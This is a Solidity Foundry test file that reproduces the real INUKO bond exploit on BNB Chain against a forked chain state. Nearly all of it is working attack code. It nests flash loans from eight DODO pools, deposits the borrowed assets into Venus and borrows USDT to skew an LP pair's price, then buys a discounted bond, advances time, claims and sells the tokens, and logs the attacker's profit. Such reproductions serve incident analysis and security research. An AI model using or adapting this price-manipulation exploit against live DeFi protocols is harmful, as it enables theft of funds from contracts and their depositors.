INUKO_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @Analysis
// https://twitter.com/AnciliaInc/status/1587848874076430336
// @Address
// https://bscscan.com/txs?a=0xb12011c14e087766f30f4569ccaf735ec2182165

interface Bond {
    function buyBond(uint256 lpAmount, uint256 bondId) external;
    function claim(uint256 index) external;
}

interface VBUSD {
    function mint(uint256 mintAmount) external;
    function redeemUnderlying(uint256 redeemAmount) external;
}

interface VBNB {
    function mint() payable external;
    function redeemUnderlying(uint256 redeemAmount) external;
}

interface VETH {
    function mint(uint256 mintAmount) external;
    function redeemUnderlying(uint256 redeemAmount) external;
}

interface VBTC {
    function mint(uint256 mintAmount) external;
    function redeemUnderlying(uint256 redeemAmount) external;
}

interface VUSDT {
    function borrow(uint256 borrowAmount) external;
    function repayBorrow(uint256 repayAmount) external;
}

interface Unitroller {
    function getAccountLiquidity(address account) external returns(uint, uint, uint);  
    function enterMarkets(address[] calldata vTokens) external;   
}

contract ContractTest is DSTest{
    IERC20 INUKO = IERC20(0xEa51801b8F5B88543DdaD3D1727400c15b209D8f);
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
    IERC20 ETH = IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8);
    IERC20 BTCB = IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    Uni_Pair_V2 Pair = Uni_Pair_V2(0xD50B9Bcd8B7D4B791EA301DBCC8318EE854d8B67);
    VBNB vBNB = VBNB(0xA07c5b74C9B40447a954e1466938b865b6BBea36);
    VBUSD vBUSD = VBUSD(0x95c78222B3D6e262426483D42CfA53685A67Ab9D);
    VETH vETH = VETH(0xf508fCD89b8bd15579dc79A6827cB4686A3592c8);
    VBTC vBTC = VBTC(0x882C173bC7Ff3b7786CA16dfeD3DFFfb9Ee7847B);
    VUSDT vUSDT = VUSDT(0xfD5840Cd36d94D7229439859C0112a4185BC0255);
    Unitroller unitroller = Unitroller(0xfD36E2c2a6789Db23113685031d7F16329158384);
    IERC20 token1;
    IERC20 token2;
    uint amount1;
    uint amount2;
    uint amount3;
    uint amount4;
    uint amount5;
    uint amount6;
    uint amount7;
    uint amount8;
    uint amount9;
    uint amount10;
    uint amount11;
    uint amount12;
    uint amount13;
    uint amount14;
    uint amount15;
    uint amount16;
    address constant dodo1 = 0xDa26Dd3c1B917Fbf733226e9e71189ABb4919E3f;
    address constant dodo2 = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;
    address constant dodo3 = 0xD7B7218D778338Ea05f5Ecce82f86D365E25dBCE;
    address constant dodo4 = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;
    address constant dodo5 = 0x7A3F460F37AE8A8FF2C2440B8A8ee784cCD0B543;
    address constant dodo6 = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;
    address constant dodo7 = 0x9BA8966B706c905E594AcbB946Ad5e29509f45EB;
    address constant dodo8 = 0x26d0c625e5F5D6de034495fbDe1F6e9377185618;
    Bond bond = Bond(0x09beDDae85a9b5Ada57a5bd7979bb7b3dd08B538);

    
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        // the ankr rpc maybe dont work , please use QuickNode 
        cheats.createSelectFork("bsc", 22169169);
    }

    function testExploit() public payable{
        address(WBNB).call{value: 5 ether}("");
        // add LP
        addLiquidity();
        // FlashLoan manipulate price, then buy bond
        buyBond();
        // change time pass time check , claim reward
        cheats.warp(block.timestamp + 3 * 24 * 60 * 60);
        claimAndSell();

        emit log_named_decimal_uint(
            "[End] Attacker USDT balance after exploit",
            USDT.balanceOf(address(this)),
            18
        );
    }

    function addLiquidity() internal {
        WBNB.approve(address(Router), type(uint).max);
        address [] memory path = new address[](3);
        path[0] = address(WBNB);
        path[1] = address(USDT);
        path[2] = address(INUKO);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            WBNB.balanceOf(address(this)) / 2,
            0,
            path,
            address(this),
            block.timestamp
        );

        address [] memory path1 = new address[](2);
        path1[0] = address(WBNB);
        path1[1] = address(USDT);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            WBNB.balanceOf(address(this)),
            0,
            path1,
            address(this),
            block.timestamp
        );

        USDT.approve(address(Router), type(uint).max);
        INUKO.approve(address(Router), type(uint).max);
        Router.addLiquidity(
            address(USDT),
            address(INUKO),
            USDT.balanceOf(address(this)),
            INUKO.balanceOf(address(this)),
            0,
            0,
            address(this),
            block.timestamp
        );

        Pair.approve(address(bond), type(uint).max);
    }

    function buyBond() internal{
        token1 = IERC20(DVM(dodo1)._BASE_TOKEN_());
        token2 = IERC20(DVM(dodo1)._QUOTE_TOKEN_());
        amount1 =token1.balanceOf(dodo1);
        amount2 = token2.balanceOf(dodo1);
        DVM(dodo1).flashLoan(amount1, amount2, address(this), new bytes(1)); //WBNB USDT
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) payable external{     
        if(msg.sender == dodo1){
            WBNB_BUSD_Pair_Loan();
        }
        else if(msg.sender == dodo2){
            ETH_USDT_Pair_Loan1();
        }
        else if(msg.sender == dodo3){
            WBNB_USDT_Pair_Loan();
        }
        else if(msg.sender == dodo4){
            BTCB_BUSD_Pair_Loan();
        }
        else if(msg.sender == dodo5){
            ETH_USDT_Pair_Loan2();
        }
        else if(msg.sender == dodo6){
            ETH_BUSD_Pair_Loan();
        }
        else if(msg.sender == dodo7){
            BTCB_USDT_Pair_Loan();
        }
        else if(msg.sender == dodo8){
            venusLendingAndRepay();
            BTCB.transfer(dodo8, amount15);
            USDT.transfer(dodo8, amount16);
        }
    
    }

    function WBNB_BUSD_Pair_Loan() internal{
        token1 = IERC20(DVM(dodo2)._BASE_TOKEN_());
        token2 = IERC20(DVM(dodo2)._QUOTE_TOKEN_());
        amount3 = token1.balanceOf(dodo2);
        amount4 = token2.balanceOf(dodo2);
        DVM(dodo2).flashLoan(amount3, amount4, address(this), new bytes(1));
        WBNB.transfer(dodo1, amount1);
        USDT.transfer(dodo1, amount2);
    }

    function ETH_USDT_Pair_Loan1() internal{
        token1 = IERC20(DVM(dodo3)._BASE_TOKEN_());
        token2 = IERC20(DVM(dodo3)._QUOTE_TOKEN_());
        amount5 = token1.balanceOf(dodo3);
        amount6 = token2.balanceOf(dodo3);
        DVM(dodo3).flashLoan(amount5, amount6, address(this), new bytes(1)); 
        WBNB.transfer(dodo2, amount3);
        BUSD.transfer(dodo2, amount4);
    }

    function WBNB_USDT_Pair_Loan() internal{
        token1 = IERC20(DVM(dodo4)._BASE_TOKEN_());
        token2 = IERC20(DVM(dodo4)._QUOTE_TOKEN_());
        amount7 = token1.balanceOf(dodo4);
        amount8 = token2.balanceOf(dodo4);
        DVM(dodo4).flashLoan(amount7, amount8, address(this), new bytes(1)); 
        ETH.transfer(dodo3, amount5);
        USDT.transfer(dodo3, amount6);
    }

    function BTCB_BUSD_Pair_Loan() internal{
        token1 = IERC20(DVM(dodo5)._BASE_TOKEN_());
        token2 = IERC20(DVM(dodo5)._QUOTE_TOKEN_());
        amount9 = token1.balanceOf(dodo5);
        amount10 = token2.balanceOf(dodo5);
        DVM(dodo5).flashLoan(amount9, amount10, address(this), new bytes(1)); 
        WBNB.transfer(dodo4, amount7);
        USDT.transfer(dodo4, amount8);
    }

    function ETH_USDT_Pair_Loan2() internal{
        token1 = IERC20(DVM(dodo6)._BASE_TOKEN_());
        token2 = IERC20(DVM(dodo6)._QUOTE_TOKEN_());
        amount11 = token1.balanceOf(dodo6);
        amount12 = token2.balanceOf(dodo6);
        DVM(dodo6).flashLoan(amount11, amount12, address(this), new bytes(1)); 
        BTCB.transfer(dodo5, amount9);
        BUSD.transfer(dodo5, amount10);
    }

    function ETH_BUSD_Pair_Loan() internal{
        token1 = IERC20(DVM(dodo7)._BASE_TOKEN_());
        token2 = IERC20(DVM(dodo7)._QUOTE_TOKEN_());
        amount13 = token1.balanceOf(dodo7);
        amount14 = token2.balanceOf(dodo7);
        DVM(dodo7).flashLoan(amount13, amount14, address(this), new bytes(1)); // WBNB BUSD
        ETH.transfer(dodo6, amount11);
        USDT.transfer(dodo6, amount12);
    }

    function BTCB_USDT_Pair_Loan() internal{
        token1 = IERC20(DVM(dodo8)._BASE_TOKEN_());
        token2 = IERC20(DVM(dodo8)._QUOTE_TOKEN_());
        amount15 = token1.balanceOf(dodo8);
        amount16 = token2.balanceOf(dodo8);
        DVM(dodo8).flashLoan(amount15, amount16, address(this), new bytes(1)); // WBNB BUSD
        ETH.transfer(dodo7, amount13);
        BUSD.transfer(dodo7, amount14);
    }

    function venusLendingAndRepay() payable public {
        uint BNBAmount = WBNB.balanceOf(address(this));
        address(WBNB).call(abi.encodeWithSignature("withdraw(uint)", BNBAmount));
        uint BUSDAmount = BUSD.balanceOf(address(this));
        uint ETHAmount = ETH.balanceOf(address(this));
        uint BTCBAmount = BTCB.balanceOf(address(this));
        address [] memory cTokens = new address[](5);
        cTokens[0] = address(vBNB);
        cTokens[1] = address(vUSDT);
        cTokens[2] = address(vBUSD);
        cTokens[3] = address(vETH);
        cTokens[4] = address(vBTC);
        unitroller.enterMarkets(cTokens);
        vBNB.mint{value: BNBAmount}();
        BUSD.approve(address(vBUSD), type(uint).max);
        vBUSD.mint(BUSDAmount);
        ETH.approve(address(vETH), type(uint).max);
        vETH.mint(ETHAmount);
        BTCB.approve(address(vBTC), type(uint).max);
        vBTC.mint(BTCBAmount);
        (, uint amount, ) = unitroller.getAccountLiquidity(address(this));
        
        vUSDT.borrow(amount * 99 / 100);
        USDT.transfer(address(Pair), USDT.balanceOf(address(this)));
        bond.buyBond(Pair.balanceOf(address(this)), 0);
        Pair.skim(address(this));
        USDT.approve(address(vUSDT), type(uint).max);
        vUSDT.repayBorrow(amount * 99 / 100);
        vBNB.redeemUnderlying(BNBAmount);
        address(WBNB).call{value: address(this).balance}("");
        vBUSD.redeemUnderlying(BUSDAmount);
        vETH.redeemUnderlying(ETHAmount);
        vBTC.redeemUnderlying(BTCBAmount);
    }


    function claimAndSell() internal{
        bond.claim(0);
        INUKO.approve(address(Router), type(uint).max);
        address [] memory path = new address[](2);
        path[0] = address(INUKO);
        path[1] = address(USDT);
        // TX LIMIT
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            25_000 * 1e18,
            0,
            path,
            address(this),
            block.timestamp
        );
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            25_000 * 1e18,
            0,
            path,
            address(this),
            block.timestamp
        );
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            INUKO.balanceOf(address(this)),
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() payable external{}
}